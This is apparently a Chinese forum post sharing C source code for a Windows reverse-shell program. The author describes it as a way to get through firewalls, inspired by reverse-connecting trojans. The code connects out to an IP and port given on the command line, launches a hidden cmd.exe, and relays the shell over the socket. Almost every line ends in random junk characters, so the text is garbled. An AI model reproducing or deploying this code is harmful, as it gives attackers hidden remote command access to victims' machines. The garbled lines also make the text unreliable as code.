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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5>z`==N)  
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/* ============================== >bQ'*!  
Rebound port in Windows NT Nn/me  
By wind,2006/7 Ql`N)!  
===============================*/ Ph@hk0dgr/  
#include ~>8yJLZ.7  
#include D#VUx9kugv  
u.!}s2wT#  
#pragma comment(lib,"wsock32.lib") )anprhc  
 bT(}=j  
void OutputShell(); cJ[ gCS  
SOCKET sClient; dk<) \C"  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; L1P.@hJ  
n*twuB/P 1  
void main(int argc,char **argv) )1#J4  
{ -U&k%X   
WSADATA stWsaData; p6)Jzh_/  
int nRet; ]70V  
SOCKADDR_IN stSaiClient,stSaiServer; )4h4ql W  
mn5y]:;`  
if(argc != 3) 0\W6X;?  
{ A7 U]wW9  
printf("Useage:\n\rRebound DestIP DestPort\n"); g!/O)X3  
return; Ife/:v  
} D==C"}J  
6ZvGD}/  
WSAStartup(MAKEWORD(2,2),&stWsaData); v#/k`x\  
l1_hD ,4  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {lv@V*_Y0  
e`]x?t<U4/  
stSaiClient.sin_family = AF_INET; k*xMe-  
stSaiClient.sin_port = htons(0); d v8q&_  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2'>  
JDbRv'F:(  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _]oNbcbt(  
{ {,:yZ&(  
printf("Bind Socket Failed!\n"); = Ob-'Syg>  
return; `i~kW  
} o8uak*"{  
w|t}.u  
stSaiServer.sin_family = AF_INET; MS7rD%(,'  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); t4Q&^AC  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Veeuw  
[2*?b/q3J  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _+B{n^ {  
{ ?$v*_*:2h  
printf("Connect Error!"); E@.daUoB  
return; 9E`Laf  
} O0`o0 !=P  
OutputShell(); <m"fzT<"  
} zDD  
zE,1zBS<  
void OutputShell() 7{W#i<W  
{ ?WEKRl  
char szBuff[1024]; $[S)A0O  
SECURITY_ATTRIBUTES stSecurityAttributes; gUa-6@  
OSVERSIONINFO stOsversionInfo; 2!kb?  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !xD$U/%c  
STARTUPINFO stStartupInfo; h#:_GNuF  
char *szShell; L!| `IK  
PROCESS_INFORMATION stProcessInformation; 8'<RPU}M  
unsigned long lBytesRead; zWO!z =  
S {d]0  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (T65pP_P 7  
]a=n(`l?  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ro}WBv  
stSecurityAttributes.lpSecurityDescriptor = 0; T<ka4  
stSecurityAttributes.bInheritHandle = TRUE; x<Ac\Cx  
]H {g/C{j  
QgF2f/;!  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); O3/w@q Q  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $cSmubZK  
}uFV\1  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \281X  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (C9{|T+h  
stStartupInfo.wShowWindow = SW_HIDE; :|&S7 &l]  
stStartupInfo.hStdInput = hReadPipe; ~pt#'65}:  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xoe/I[P]U  
+T8h jOkC  
GetVersionEx(&stOsversionInfo); ']C" 'b  
"wi}/,)  
switch(stOsversionInfo.dwPlatformId) pr w% )#,  
{ HrK7qLw7  
case 1: # A#,]XP  
szShell = "command.com"; *L{^em#b  
break; rnSrkn"j{  
default: 7W.z8>p  
szShell = "cmd.exe"; ]^>RBegJBO  
break; \Dx5=Lh  
} GeFu_7u!|  
U-.A+#<IT9  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); N2uTWT>  
|-Q="7b%  
send(sClient,szMsg,77,0); P0c6?K6 j  
while(1) Wr6y w#  
{ yc7 "tptfF  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); INNTp[  
if(lBytesRead) WQ1K8B4  
{ VJbn/5+P  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); O5v~wLx9e  
send(sClient,szBuff,lBytesRead,0); 1$n!Lj=5  
} M2Zk1Z  
else ~P,@">}  
{ n2N:rP  
lBytesRead=recv(sClient,szBuff,1024,0); @W.0YU0|J  
if(lBytesRead<=0) break; 2{A/Fbk  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); l\6.f_  
} dTVh{~/  
} R^VmNj  
Ae8P'FWB>  
return; ^!7|B3`  
}
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